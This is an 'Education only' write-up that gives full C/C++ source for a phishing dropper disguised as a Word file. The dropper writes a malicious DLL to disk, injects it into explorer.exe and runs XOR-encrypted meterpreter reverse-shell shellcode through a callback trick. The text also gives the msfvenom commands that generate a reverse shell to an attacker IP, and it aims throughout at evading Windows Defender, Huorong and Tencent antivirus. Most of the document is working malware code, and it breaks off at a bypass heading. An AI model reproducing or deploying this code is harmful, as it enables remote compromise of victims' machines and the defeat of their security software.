Phishing

** Education only **

Author: Leviathan
Date: 11/5/2022

Virtual Machine Environment

Kali Linux IP: 192.168.107.128
Windows Defender: 192.168.107.136
Windows Huorong: 192.168.107.131
Windows Tencent Anti-Virus: 192.168.107.1

Program Analysis

Executable procedure

  1. When we open the executable file, we will get the Word file window which looks like as normal Document file be opened, at the same time we extract the malicious DLL file in directory public download.
  2. We will inject malicious DLL file in explorer.exe, and hacker will get the meterpreter shell in his machine.
  3. Delete itself and remain normal Word file in victim machine

Phishing part

How we store the Word file in executable file?


Visual Studio -> Resources Files -> Add -> Resouce -> import -> choose your Word file -> input docx type

Malicious DLL is the same way to store itself in executable file.

How we realse resources?

// Initialize the variables
	char PathFileName[MAX_PATH] = { 0 };
	char FileName[MAX_PATH] = { 0 };
	char Dllpath[2*MAX_PATH] = "C:\\Users\\Public\\Downloads\\acvfunc.dll";
	char FileType[10] = { 0 };

// Word File Resource Variables
	HRSRC Resource;
	HGLOBAL ResourceGlobal;
	DWORD FileSize;

// DLL File Resource Variables
	HRSRC DLL_Resource;
	HGLOBAL DLL_ResourceGlobal;
	DWORD DLL_FileSize;

Find the resource in executable file, load and lock them in void pointer

// FindResourceA
// LoadResource
	Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
	DLL_Resource = FindResourceA(NULL, MAKEINTRESOURCEA(102), "dll");

	ResourceGlobal = LoadResource(NULL, Resource);
	DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource);

	FileSize = SizeofResource(NULL, Resource);
	DLL_FileSize = SizeofResource(NULL, DLL_Resource);

// Lock the resource in void* pointer
	LPVOID PFILE = LockResource(ResourceGlobal);
	LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);

I create the file name as the program name, guys can modify any names you wanna.

// Get the program name
	GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
	strcpy_s(FileName, strrchr(PathFileName, '\\') + 1);


// phishing.exe -> phishing.docx
// modify the suffix
	for (size_t i = 0; i < MAX_PATH; i++)
	{
		if (FileName[i] == '.')
		{
			FileName[i + 1] = 'd';
			FileName[i + 2] = 'o';
			FileName[i + 3] = 'c';
			FileName[i + 4] = 'x';
			break;
		}
	}

	// Create a file and write the resource in it
	HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
	DWORD dwSize;
	WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);

Open the Word file with ShellExecuteExA function

// open the docx file
SHELLEXECUTEINFOA shellexc = { 0 };
shellexc.cbSize = sizeof(shellexc);
shellexc.lpFile = FileName;
shellexc.nShow = SW_SHOW;
ShellExecuteExA(&shellexc);

// Donot forget close handle or you will get wrong :-(
CloseHandle(FILE);

Write Malicious DLL file in public path

// Sleep(10000);
// To bypass Windows Deferder, Windows defender will scan the file in 10s when you execute the file as an administrator privilege.
HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dllSize;
WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL);
CloseHandle(DLLFILE);

Whole release resource function

#pragma once

#include "Basic.h"

// "Basic.h" include Windows.h and iostream

void free_resource() {
	// Get File Name
	char PathFileName[MAX_PATH] = { 0 };
	char FileName[MAX_PATH] = { 0 };
	char Dllpath[2*MAX_PATH] = "C:\\Users\\Public\\Downloads\\acvfunc.dll";
	char FileType[10] = { 0 };

	HRSRC Resource;
	HGLOBAL ResourceGlobal;
	DWORD FileSize;


	HRSRC DLL_Resource;
	HGLOBAL DLL_ResourceGlobal;
	DWORD DLL_FileSize;

	Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
	DLL_Resource = FindResourceA(NULL, MAKEINTRESOURCEA(102), "dll");

	ResourceGlobal = LoadResource(NULL, Resource);
	DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource);

	FileSize = SizeofResource(NULL, Resource);
	DLL_FileSize = SizeofResource(NULL, DLL_Resource);


	LPVOID PFILE = LockResource(ResourceGlobal);
	LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);

	GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
	strcpy_s(FileName, strrchr(PathFileName, '\\') + 1);

	for (size_t i = 0; i < MAX_PATH; i++)
	{
		if (FileName[i] == '.')
		{
			FileName[i + 1] = 'd';
			FileName[i + 2] = 'o';
			FileName[i + 3] = 'c';
			FileName[i + 4] = 'x';
			break;
		}
	}

	// Create a file and write the resource in it
	HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
	DWORD dwSize;
	WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);


	// Create DLL FILE



	// open the docx file
	SHELLEXECUTEINFOA shellexc = { 0 };
	shellexc.cbSize = sizeof(shellexc);
	shellexc.lpFile = FileName;
	shellexc.nShow = SW_SHOW;
	ShellExecuteExA(&shellexc);

	CloseHandle(FILE);

	HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
	DWORD dllSize;
	WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL);
	CloseHandle(DLLFILE);

}

How we inject the malicious in explorer.exe process?

  1. Make sure we have high privilege to inject or we will inject failed.
  2. Load Malicious DLL
  3. Open explorer.exe handle
  4. Allocate the READ WRITE EXECUTABLE memory for DLL
  5. Get LoadLibaryA function address from kernel32.dll
  6. Create remote thread under the explorer.exe process.

Escalate Privilege part

// initialize variable

	HANDLE hToken = NULL;
	LUID luidValue = { 0 };
	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
	BOOL bRet = FALSE

Check if we get the high privilege like administrator

bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (bRet == FALSE) {
	ShowError("OpenProcessToken");
	return FALSE;
}

// Get Local System pszPrivileges LUID Value
bRet = LookupPrivilegeValueA(NULL, pszPrivilegesName, &luidValue);
if (bRet == FALSE) {
	ShowError("LookupPrivilegeValueA");
	return FALSE;
}

If we get the look up privilege value, we can try to impore our privilege in program

// Set Improve Privileges info
	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	// Privilege Escalation
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, 0, NULL);
	if (bRet == FALSE) {
		ShowError("AdjustTokenPrivileges");
		return FALSE;
	}
	else {
		dwRet = GetLastError();
		if (dwRet == ERROR_SUCCESS) {
			return TRUE;
		}
		else if (dwRet == ERROR_NOT_ALL_ASSIGNED) {
			ShowError("ERROR_NOT_ALL_ASSIGNED");
			return FALSE;
		}
	}

Whole escalate privilege part

BOOL EnablePrivileges(HANDLE hProcess, LPCSTR pszPrivilegesName) {

	HANDLE hToken = NULL;
	LUID luidValue = { 0 };
	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
	BOOL bRet = FALSE;
	DWORD dwRet = 0;

	bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
	if (bRet == FALSE) {
		ShowError("OpenProcessToken");
		return FALSE;
	}

	// Get Local System pszPrivileges LUID Value
	bRet = LookupPrivilegeValueA(NULL, pszPrivilegesName, &luidValue);
	if (bRet == FALSE) {
		ShowError("LookupPrivilegeValueA");
		return FALSE;
	}

	// Set Improve Privileges info
	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	// Privilege Escalation
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, 0, NULL);
	if (bRet == FALSE) {
		ShowError("AdjustTokenPrivileges");
		return FALSE;
	}
	else {
		dwRet = GetLastError();
		if (dwRet == ERROR_SUCCESS) {
			return TRUE;
		}
		else if (dwRet == ERROR_NOT_ALL_ASSIGNED) {
			ShowError("ERROR_NOT_ALL_ASSIGNED");
			return FALSE;
		}
	}
	return FALSE;

}

Inject DLL part

// Initialize variable
	HANDLE hProcess = NULL;
	SIZE_T dwSize = 0;
	LPVOID pDllAddr = NULL;
	FARPROC pFuncProcAddr = NULL;

Allocate the memory

//allocated memory in the injection process
	dwSize = 1 + strlen(pszDllFileName);
	pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}

Write the malicious DLL file in the process

//Write data to the allocated memory
	if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
	{
		ShowError("WriteProcessMemory");
		return FALSE;
	}

Get load DLL file function address

// Get LoadLibraryA function address
	pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	if (NULL == pFuncProcAddr)
	{
		ShowError("GetProcAddress_LoadLibraryA");
		return FALSE;
	}

Create thread under the process

// Use CreateRemoteThread to create a remote thread and implement DLL injection
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
	if (NULL == hRemoteThread)
	{
		ShowError("CreateRemoteThread");
		return FALSE;
	}
	// Close handle
	CloseHandle(hProcess);

the whole inject function part

BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, const char* pszDllFileName)
{
	HANDLE hProcess = NULL;
	SIZE_T dwSize = 0;
	LPVOID pDllAddr = NULL;
	FARPROC pFuncProcAddr = NULL;

	// Get Process Handle
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}
	//allocated memory in the injection process
	dwSize = 1 + strlen(pszDllFileName);
	pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}
	//Write data to the allocated memory
	if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
	{
		ShowError("WriteProcessMemory");
		return FALSE;
	}
	// Get LoadLibraryA function address
	pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	if (NULL == pFuncProcAddr)
	{
		ShowError("GetProcAddress_LoadLibraryA");
		return FALSE;
	}
	// Use CreateRemoteThread to create a remote thread and implement DLL injection
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
	if (NULL == hRemoteThread)
	{
		ShowError("CreateRemoteThread");
		return FALSE;
	}
	// Close handle
	CloseHandle(hProcess);

	return TRUE;
}

Above all that, the phishing part is over, the next part is how to bypass Huorong, Tencent Anti-Virus and Windows Defender.

Bypass Part

How to create malicious DLL file?

To be honest, the first idea in my mind is creating the DLL by msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.107.128 LPORT=4450 -f dll -0 malicious_dll.dll

But it will detected by Huorong, Tencent Anti-virus and Windows Defender.

So we have to write DLL file by ourselves to bypass the detection. If our DLL file land safely, we have already bypass the Anti-Virus static detection.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.107.128 LPORT=4450 -f c -v shellcode

Use msfvenom create shellcode

ShellCode Encryption

We can use the simple XOR encrytion to decorate shellcode.

unsigned char encryptedShellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x49\x01\xd0\x50\x8b"
"\x48\x18\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x4d\x31\xc9"
"\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01"
"\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x11\x62\xc0\xa8\x6b\x80\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";



char key[] = "lkdajsdwqe,sadlqwe:_)";
char cipherType[] = "xor";
// Char array to host the deciphered shellcode
unsigned char shellcode[sizeof encryptedShellcode];
unsigned char shellcode2[sizeof encryptedShellcode];

std::cout << encryptedShellcode << std::endl;


printf("\n\n\n");
// XOR decoding stub using the key defined above must be the same as the encoding key
int j = 0;
	for (int i = 0; i < sizeof encryptedShellcode; i++) {
    	if (j == sizeof key - 1) j = 0;
        // shellcode[sizeof encryptedShellcode - 1 - i] = encryptedShellcode[i];
        shellcode[i] = (encryptedShellcode[i] + 0x72) ^ key[j] ;
        // shellcode[i] = (shellcode[i] ^ key[j]) - 0x72;
        // shellcode[i] = encryptedShellcode[i] ^ key[j];
        j++;

        }

        for (int i = 0; i < sizeof encryptedShellcode; i++) {
        printf("\\x%x", shellcode[i]);
        }

We can get the encrypted shellcode.

unsigned char E_shellcode[] =
"\x2\xd1\x91\x37\x8\x29\x5a\x5\x3\x17\x9f\xb0\xd2\xa6\xa8\xb2\xcd\xc6\x7e\x88\x93\x91\xaf\xb6\xa9\xd0\x8e\xa0\xfd\xcb\x98\xe8\xe1\xde\xc7\x57\xcb\x8a\x81\xf8\xe5\xa8\x45\xd7\xd8\xdb\xc9\x41\x7a\xd9\xa2\x8b\x58\xed\xf3\xd7\x5f\x4a\x8\xd6\x49\x6c\x7d\x33\xaf\xd7\xa2\xd0\x8e\xa0\xe5\x8c\xd1\x82\xc9\x12\x26\xb4\x82\x9d\xef\x47\x2b\xa8\x9b\x8f\x16\x13\x18\x8e\x96\x8d\x3\x17\x5e\xc9\x96\x56\x8a\xa8\xcd\x16\x78\xe9\xd4\xde\xf9\xdf\x12\x28\xb1\x99\xcd\xfb\x30\xe4\xc9\x10\x5f\xdf\x8c\xd1\x9f\x85\xfc\x12\xd6\x18\x2c\xdb\xc9\x41\x7a\xc4\x42\x5e\x53\xc0\x12\x57\xc6\x23\x90\x6\x84\x2a\x97\xfa\x11\xd3\xca\x29\x94\x2e\xbd\xc7\x98\x9e\xe5\xda\x17\x2e\xa9\xc4\x98\x44\xe5\x9f\x91\xd9\xea\xda\x19\x31\xd7\x8a\x7\x9f\x9f\xb9\xdb\x17\x2e\xc2\xbd\xb5\xf1\x93\x9a\xa6\xd8\xaf\xd2\xa6\xc9\x91\x29\xe3\xd6\xe8\x2\x33\xae\xdf\xba\xbb\xdf\xc7\xdb\x72\xd1\x1a\x15\x10\xa5\xc8\x54\x9e\x94\xc1\xfd\xd6\xc5\x16\x1e\xc2\xbf\xde\xc1\x7\x93\x9f\x35\x76\x12\x18\x1\xdf\x8c\x26\xde\x2\x7\x13\xe7\xb8\x43\x6d\xb8\xc8\xec\xef\xd7\x90\x32\xdf\x91\x10\xd7\x5b\xcf\x8c\xb4\xa\x10\x23\xd2\x8a\x2b\xbf\x49\x2c\x5b\x1e\xa0\xd7\x4d\xf1\x81\xb9\x5\x0\x22\xf0\xf\xd2\xb4\xae\xb3\xc8\xc6\x1\xe0\x8a\x5e\xd1\x15\x53\xd0\x88\x50\xcd\x0\x57\x96\x88\x52\xd7\x40\x2d\xf6\x34\x68\x2e\x6e\xd6\x90\x5d\xbd\xe8\xc0\xae\xc9\x8a\x31\x96\x88\xa\xd7\x40\x7a\x60\x83\xe9\x2e\x6e\x9b\x59\x82\x1d\xd1\x2\x24\x90\x26\x3f\x29\x1\x13\x16\xd6\x84\x29\xe7\x80\xa4\x7d\xd3\xc8\x5f\xbd\x1c\xc0\xae\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x9c\xac\xde\x94\x5c\xe1\xb4\x8c\x19\xb9\x9e\xc0\xaa\xbe\x1e\xf3\x5\x17\x89\x95\x93\x97\xf\xde\xc2\x51\xc0\x48\xbd\x67\xa0\x7b\x2\x26\xde\x97\x44\xcc\x9e\x3\xe0\x8a\x57\xd0\x9f\x3\xd0\x88\x28\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x83\xf1\xae\xd2\xa3\xb8\xbe\x5\xc3\x17\x5e\xc0\xab\xb8\x1e\xbd\xc4\x49\x47\xfe\xa8\xce\x1a\x23\xa8\xa1\xc0\x48\x90\x91\xda\xff\x2\x26\xdf\x1d\x31\x2c\xcb\x4b\x2e\x58\xd6\x18\x51\xdb\xf1\x4b\xde\x80\x19\x82\xa\xc0\x10\x3d\xa6\xad\x5\xae\x81\x66\x1d\xe\x4c\x70\xa9\x1b\x34\x16";

unsigned char* decrypt() {

	unsigned char shellcode[sizeof E_shellcode];
	int j = 0;

	char key[] = "lkdajsdwqe,sadlqwe:_)";
	for (int i = 0; i < sizeof E_shellcode; i++) {
		if (j == sizeof key - 1) j = 0;
		shellcode[i] = (E_shellcode[i] ^ key[j]) - 0x72;
		j++;
	}

	return shellcode;

}

jmp_shellcode

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{

	unsigned char* addrShellcode = decrypt();
	DWORD dwOldPro = 0;
	BOOL ifExec = VirtualProtect(addrShellcode, sizeof(E_shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
    // Callback function can bypass a lot of Anti-Virus softwares
	EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
	return 0;
}

DLL MAIN function

HANDLE hThread = NULL;
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		decrypt();
		DisableThreadLibraryCalls(hModule);
		hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
		MessageBox(NULL, L"You are hacked ", L"Hacked by Leviathan", MB_OK);
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}

The whole DLL_File source code

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <windows.h>
#include <stdlib.h>



typedef void(__stdcall* JMP_SHELLCODE)();

//unsigned char shellcode[] =
//"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
//"\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
//"\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48"
//"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
//"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41"
//"\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
//"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
//"\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
//"\x01\xd0\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88"
//"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
//"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
//"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
//"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
//"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
//"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
//"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
//"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
//"\x89\xe5\x49\xbc\x02\x00\x11\x62\xc0\xa8\x6b\x80\x41\x54"
//"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
//"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
//"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
//"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
//"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
//"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
//"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
//"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
//"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
//"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
//"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
//"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
//"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
//"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
//"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
//"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
//"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
//"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
//"\xf0\xb5\xa2\x56\xff\xd5";

unsigned char E_shellcode[] =
"\x2\xd1\x91\x37\x8\x29\x5a\x5\x3\x17\x9f\xb0\xd2\xa6\xa8\xb2\xcd\xc6\x7e\x88\x93\x91\xaf\xb6\xa9\xd0\x8e\xa0\xfd\xcb\x98\xe8\xe1\xde\xc7\x57\xcb\x8a\x81\xf8\xe5\xa8\x45\xd7\xd8\xdb\xc9\x41\x7a\xd9\xa2\x8b\x58\xed\xf3\xd7\x5f\x4a\x8\xd6\x49\x6c\x7d\x33\xaf\xd7\xa2\xd0\x8e\xa0\xe5\x8c\xd1\x82\xc9\x12\x26\xb4\x82\x9d\xef\x47\x2b\xa8\x9b\x8f\x16\x13\x18\x8e\x96\x8d\x3\x17\x5e\xc9\x96\x56\x8a\xa8\xcd\x16\x78\xe9\xd4\xde\xf9\xdf\x12\x28\xb1\x99\xcd\xfb\x30\xe4\xc9\x10\x5f\xdf\x8c\xd1\x9f\x85\xfc\x12\xd6\x18\x2c\xdb\xc9\x41\x7a\xc4\x42\x5e\x53\xc0\x12\x57\xc6\x23\x90\x6\x84\x2a\x97\xfa\x11\xd3\xca\x29\x94\x2e\xbd\xc7\x98\x9e\xe5\xda\x17\x2e\xa9\xc4\x98\x44\xe5\x9f\x91\xd9\xea\xda\x19\x31\xd7\x8a\x7\x9f\x9f\xb9\xdb\x17\x2e\xc2\xbd\xb5\xf1\x93\x9a\xa6\xd8\xaf\xd2\xa6\xc9\x91\x29\xe3\xd6\xe8\x2\x33\xae\xdf\xba\xbb\xdf\xc7\xdb\x72\xd1\x1a\x15\x10\xa5\xc8\x54\x9e\x94\xc1\xfd\xd6\xc5\x16\x1e\xc2\xbf\xde\xc1\x7\x93\x9f\x35\x76\x12\x18\x1\xdf\x8c\x26\xde\x2\x7\x13\xe7\xb8\x43\x6d\xb8\xc8\xec\xef\xd7\x90\x32\xdf\x91\x10\xd7\x5b\xcf\x8c\xb4\xa\x10\x23\xd2\x8a\x2b\xbf\x49\x2c\x5b\x1e\xa0\xd7\x4d\xf1\x81\xb9\x5\x0\x22\xf0\xf\xd2\xb4\xae\xb3\xc8\xc6\x1\xe0\x8a\x5e\xd1\x15\x53\xd0\x88\x50\xcd\x0\x57\x96\x88\x52\xd7\x40\x2d\xf6\x34\x68\x2e\x6e\xd6\x90\x5d\xbd\xe8\xc0\xae\xc9\x8a\x31\x96\x88\xa\xd7\x40\x7a\x60\x83\xe9\x2e\x6e\x9b\x59\x82\x1d\xd1\x2\x24\x90\x26\x3f\x29\x1\x13\x16\xd6\x84\x29\xe7\x80\xa4\x7d\xd3\xc8\x5f\xbd\x1c\xc0\xae\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x9c\xac\xde\x94\x5c\xe1\xb4\x8c\x19\xb9\x9e\xc0\xaa\xbe\x1e\xf3\x5\x17\x89\x95\x93\x97\xf\xde\xc2\x51\xc0\x48\xbd\x67\xa0\x7b\x2\x26\xde\x97\x44\xcc\x9e\x3\xe0\x8a\x57\xd0\x9f\x3\xd0\x88\x28\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x83\xf1\xae\xd2\xa3\xb8\xbe\x5\xc3\x17\x5e\xc0\xab\xb8\x1e\xbd\xc4\x49\x47\xfe\xa8\xce\x1a\x23\xa8\xa1\xc0\x48\x90\x91\xda\xff\x2\x26\xdf\x1d\x31\x2c\xcb\x4b\x2e\x58\xd6\x18\x51\xdb\xf1\x4b\xde\x80\x19\x82\xa\xc0\x10\x3d\xa6\xad\x5\xae\x81\x66\x1d\xe\x4c\x70\xa9\x1b\x34\x16";

unsigned char* decrypt() {

	unsigned char shellcode[sizeof E_shellcode];
	int j = 0;

	char key[] = "lkdajsdwqe,sadlqwe:_)";
	for (int i = 0; i < sizeof E_shellcode; i++) {
		if (j == sizeof key - 1) j = 0;
		shellcode[i] = (E_shellcode[i] ^ key[j]) - 0x72;
		j++;
	}

	return shellcode;

}


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{

	unsigned char* addrShellcode = decrypt();
	DWORD dwOldPro = 0;
	BOOL ifExec = VirtualProtect(addrShellcode, sizeof(E_shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
	EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
	return 0;
}


HANDLE hThread = NULL;
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		decrypt();
		DisableThreadLibraryCalls(hModule);
		hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
		MessageBox(NULL, L"You are hacked ", L"Hacked by Leviathan", MB_OK);
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}

Huorong Bypass

Diffuculty: 3.0/5.0

